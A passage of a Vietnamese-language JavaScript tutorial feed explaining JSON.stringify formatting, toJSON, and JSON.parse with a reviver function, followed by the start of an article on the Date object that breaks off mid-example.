<code>space</code> trong <code>JSON.stringify</code></h2> <p>Tham số thứ ba trong <code>JSON.stringify(value, replacer, space)</code> là số lượng kí tự dấu cách "space" dùng để định dạng json.</p> <p>Trong các ví dụ trên, mình không sử dụng <code>space</code> nên kết quả json luôn là "string nằm trên một dòng".</p> <blockquote> <p>"JSON nằm trên một dòng" là tốt cho việc gửi dữ liệu lên server. Tuy nhiên, nếu bạn muốn ghi log ra để theo dõi thì cách này lại rất khó nhìn.</p> </blockquote> <p>Ví dụ sử dụng <code>JSON.stringify</code> với <code>space = 2</code> để in log tốt hơn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token literal-property property">roles</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">isAdmin</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token literal-property property">isEditor</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// replacer = null - nếu không muốn tùy chỉnh tham số này.</span> <span class="token comment">// space = 2 - các thuộc tính sẽ xuống dòng và thụt 2 dấu cách so với cha.</span> <span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* { "name": "Alex", "age": 28, "roles": { "isAdmin": false, "isEditor": true } } */</span></code></pre></div> <p>Bạn có thể tùy chỉnh giá trị của <code>space</code> lớn hơn <code>2</code> nếu muốn khoảng cách rộng hơn.</p> <p>Ngoài ra, giá trị của <code>space</code> có thể là một string. Khi đó, string được sử dụng thay thế cho dấu cách - giống trường hợp <code>space=2</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token literal-property property">roles</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">isAdmin</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token literal-property property">isEditor</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// space = "a" - các thuộc tính sẽ xuống dòng và thụt 2 string "a" so với cha.</span> <span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token string">"aa"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* { aa"name": "Alex", aa"age": 28, aa"roles": { aaaa"isAdmin": false, aaaa"isEditor": true aa} } */</span></code></pre></div> <h2 id="tùy-biến-tojson" style="position:relative;"><a href="#t%C3%B9y-bi%E1%BA%BFn-tojson" aria-label="tùy biến tojson permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tùy biến <code>toJSON</code></h2> <p>Tương tự như phương thức <code>toString</code> khi chuyển đổi kiểu dữ liệu sang string, object có thể cung cấp phương thức <code>toJSON</code> để chuyển đổi sang JSON với <code>JSON.stringify</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> room <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">23</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Conference"</span><span class="token punctuation">,</span> <span class="token literal-property property">date</span><span class="token operator">:</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span>Date<span class="token punctuation">.</span><span class="token constant">UTC</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> <span class="token number">19</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> room<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>meetup<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* { "title": "Conference", "date": "2021-12-19T00:00:00.000Z", "room": { "number": 23 } } */</span></code></pre></div> <p>Bạn thấy rằng <a href="/doi-tuong-date-trong-javascript/">đối tượng <code>Date</code></a> đã chuyển sang string. Vì bản thân đối tượng <code>Date</code> đã có phương thức <code>toJSON</code> trả về string như trên.</p> <p>Mình cũng có thể thêm phương thức <code>toJSON</code> vào đối tượng <code>room</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> room <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">23</span><span class="token punctuation">,</span> <span class="token function">toJSON</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>number<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>room<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 23</span></code></pre></div> <h2 id="phương-thức-jsonparse" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-jsonparse" aria-label="phương thức jsonparse permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>JSON.parse</code></h2> <p>Phương thức <code>JSON.parse(json)</code> dùng để chuyển JSON-string trở thành giá trị (object, array hoặc các kiểu dữ liệu nguyên thủy tương ứng) với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>str<span class="token punctuation">,</span> <span class="token punctuation">[</span>reviver<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>str</code> là JSON-string để parse.</li> <li><code>reviver</code> là một hàm (không bắt buộc) dạng <code>function(key, value)</code> - được gọi với mỗi cặp <code>(key, value)</code> và biến đổi value.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// JSON-string dạng mảng</span> <span class="token keyword">let</span> numbers <span class="token operator">=</span> <span class="token string">"[0, 1, 2, 3]"</span><span class="token punctuation">;</span> <span class="token comment">// parse JSON-string về mảng</span> numbers <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>numbers<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sau khi numbers được parse thành array,</span> <span class="token comment">// bạn có thể truy cập phần tử mảng qua chỉ số</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>numbers<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Hoặc object lồng nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token string">'{ "name": "John", "age": 35, "isAdmin": false, "friends": [0,1,2,3] }'</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>friends<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>JSON có thể có cấu trúc phức tạp, bao gồm nhiều kiểu dữ liệu, mảng, object lồng nhau. Nhưng chúng bắt buộc phải tuân theo định dạng chuẩn của JSON.</p> <p>Một số lỗi JSON không hợp lệ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{ name: "John", // không hợp lệ: thuộc tính không có nháy kép "" "surname": 'Smith', // không hợp lệ: giá trị sử dụng nháy đơn '' 'isAdmin': false // không hợp lệ: thuộc tính sử dụng nháy đơn "birthday": new Date(), // không hợp lệ: toán tử new không được phép "friends": [0,1,2,3] // hợp lệ }</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Ngoài ra, JSON khác với Object là không chấp nhận <strong>comment code</strong> và <strong>không chấp nhận dấu phẩy đuôi</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// comment trong JSON</span> <span class="token keyword">let</span> json1 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{ "x": 1, // comment 1 "y": 2 }</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Unexpected token / in JSON at position 12</span> <span class="token comment">// dấu phẩy đuôi trong JSON</span> <span class="token keyword">let</span> json2 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{ "x": 1, "y": 2, }</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Unexpected token } in JSON at position 22</span></code></pre></div> <h2 id="sử-dụng-reviver-trong-jsonparse" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-reviver-trong-jsonparse" aria-label="sử dụng reviver trong jsonparse permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>reviver</code> trong <code>JSON.parse</code></h2> <p>Giả sử, bạn có JSON-string lấy từ server như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// title: (meetup title), date: (meetup date)</span> <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">'{"title":"Conference","date":"2021-12-19T10:00:00.000Z"}'</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn muốn parse JSON-string về object để lấy thông tin:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">'{"title":"Conference","date":"2021-12-19T10:00:00.000Z"}'</span><span class="token punctuation">;</span> <span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>meetup<span class="token punctuation">.</span>date<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: meetup.date.getDate is not a function</span></code></pre></div> <p>Đúng vậy, giá trị <code>meetup.date</code> là một string <code>"2021-12-19T10:00:00.000Z"</code> chứ không phải đối tượng <code>Date</code>.</p> <p>Để giải quyết vấn đề này, bạn có thể sử dụng hàm <code>reviver</code> để chuyển đổi giá trị của <code>date</code> thành object <code>Date</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">'{"title":"Conference","date":"2021-12-19T10:00:00.000Z"}'</span><span class="token punctuation">;</span> <span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>str<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">key<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu key là "date" thì trả về new Date(value)</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>key <span class="token operator">===</span> <span class="token string">"date"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// ngược lại thì giữ nguyên giá trị value gốc.</span> <span class="token keyword">return</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>meetup<span class="token punctuation">.</span>date<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 19</span></code></pre></div> <p>Cách này cũng áp dụng được với các đối tượng lồng nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> schedule <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{ "meetups": [ {"title":"Conference","date":"2021-12-19T10:00:00.000Z"}, {"title":"Birthday","date":"2021-12-20T10:00:00.000Z"} ] }</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> schedule <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>schedule<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">key<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>key <span class="token operator">===</span> <span class="token string">"date"</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>schedule<span class="token punctuation">.</span>meetups<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>date<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 20</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>JSON trong JavaScript thực chất là một định dạng dữ liệu độc lập và có nhiều thư viện hỗ trợ xử lý JSON.</p> <p>JSON trong JS hỗ trợ các kiểu dữ liệu như: object nguyên thủy, mảng, string, number, boolean và <code>null</code>.</p> <p>JSON cung cấp hai phương thức:</p> <ul> <li><code>JSON.stringify</code>: dùng dể chuyển giá trị thành JSON.</li> <li><code>JSON.parse</code>: dùng để chuyển JSON thành giá trị tương ứng trong JavaScript.</li> </ul> <p>Cả hai phương thức trên đều hỗ trợ truyền vào hàm để tùy biến quá trình chuyển đổi.</p> <p>Nếu một object có phương thức <code>toJSON</code>, thì phương thức này sẽ được gọi bởi <code>JSON.stringify</code>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <p>Chuyển đối tượng <code>user</code> thành JSON rồi đọc lại vào biến khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// chuyển user về JSON</span> <span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// chuyển json về biến khác</span> <span class="token keyword">let</span> other <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>other<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: 'Alex', age: 28}</span></code></pre></div> </div> </div> </div> <p><strong>Tham khảo</strong></p> <ul> <li><a href="http://eloquentjavascript.net/05_higher_order.html">Higher-Order Functions</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON#JavaScript_and_JSON_differences">JavaScript and JSON differences</a></li> <li><a href="https://javascript.info/json">JSON methods, toJSON</a></li> </ul>[email protected]<![CDATA[Đối tượng Date trong JavaScript]]><![CDATA[Date trong JavaScript là một đối tượng sẵn có giúp bạn lưu trữ date (ngày, tháng, năm), time (giờ, phút, giây) và quản lý date/time. Ví dụ, bạn có thể sử dụng Date để lưu thời gian…]]>https://completejavascript.com/doi-tuong-date-trong-javascript/https://completejavascript.com/doi-tuong-date-trong-javascript/<![CDATA[Kiểu dữ liệu]]>Fri, 09 Jun 2017 03:00:00 GMT<p>Date trong JavaScript là một <a href="/object-la-gi-object-trong-javascript/">đối tượng sẵn có</a> giúp bạn lưu trữ <strong>date (ngày, tháng, năm)</strong>, <strong>time (giờ, phút, giây)</strong> và quản lý date/time.</p> <p>Ví dụ, bạn có thể sử dụng <code>Date</code> để lưu thời gian tạo và chỉnh sửa dữ liệu, đo lường thời gian hay hiển thị thời gian hiện tại.</p> <h2 id="khởi-tạo-date-trong-javascript" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-date-trong-javascript" aria-label="khởi tạo date trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Date trong JavaScript</h2> <p>Để khởi tạo một đối tượng <code>Date</code> trong JavaScript, bạn chỉ cần gọi hàm khởi tạo <code>new Date()</code> với một trong các tham số sau đây.</p> <p>► <code>new Date()</code></p> <p>Hàm khởi tạo <strong>không tham số</strong> tạo mới một đối tượng <code>Date</code> với thời gian hiện tại, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> currentDate <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>currentDate<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị thời gian hiện tại, ví dụ:</span> <span class="token comment">// Sun Dec 19 2021 09:25:51 GMT+0700 (Indochina Time)</span></code></pre></div> <p>► <code>new Date(milliseconds)</code></p> <p>Tạo mới đối tượng <code>Date</code> với thời gian tương ứng với <code>milliseconds</code> (mili giây) sau ngày 01/01/1970 UTC+0.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 0 tương ứng với ngày 01/01/1970 UTC+0</span> <span class="token keyword">let</span> jan01_1970 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>jan01_1970<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Thu Jan 01 1970 07:00:00 GMT+0700 (Indochina Time)</span> <span class="token comment">// cộng thêm 24 giờ => ngày 02/01/1970 UTC+0</span> <span class="token keyword">let</span> jan02_1970 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">24</span> <span class="token operator">*</span> <span class="token number">3600</span> <span class="token operator">*</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>jan02_1970<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Fri Jan 02 1970 07:00:00 GMT+0700 (Indochina Time)</span></code></pre></div> <p><strong>Số nguyên</strong> ứng với tham số <code>milliseconds</code> biểu diễn số <strong>mili giây</strong> sau ngày 01/01/1970 UTC+0 được gọi là <strong>timestamp</strong>.</p> <blockquote> <p><strong>Chú ý</strong>: kết quả của câu lệnh <code>console.log(jan01_1970)</code> trên là ứng với múi giờ <code>+0700</code> tại Việt Nam.</p> <p>Vì vậy, thời gian hiển thị là <code>07:00:00</code> (7 giờ 00 phút 00 giây), thay vì <code>00:00:00</code> (0 giờ 00 phút 00 giây) tại múi giờ <code>+0000</code>.</p> </blockquote> <p>Bạn có thể tạo mới đối tượng <code>Date</code> từ timestamp (như trên). Ngược lại, bạn cũng có thể <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> từ đối tượng <code>Date</code> ra timestamp bằng phương thức <code>date.getTime()</code> (được trình bày bên dưới).</p> <p>Thời gian trước ngày 01/01/1970 có <strong>timestamp âm</strong>, ví dụ ngày 31/12/1969:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// ngày 31/12/1969 trước ngày 01/01/1970 là 1 ngày</span> <span class="token keyword">let</span> dec31_1969 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">0</span> <span class="token operator">-</span> <span class="token number">24</span> <span class="token operator">*</span> <span class="token number">3600</span> <span class="token operator">*</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dec31_1969<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Wed Dec 31 1969 07:00:00 GMT+0700 (Indochina Time)</span></code></pre></div> <p>► <code>new Date(string)</code></p> <p>Nếu hàm khởi tạo Date trong JavaScript có một tham số và đó là string thì string sẽ được chuyển đổi tự động sang <code>Date</code>.</p> <p>Thuật toán chuyển đổi <strong>string</strong> sang đối tượng <code>Date</code> tương tự như cách sử dụng của phương thức <code>Date.parse()</code> (được trình bày bên dưới).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token string">"2021-12-19"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token 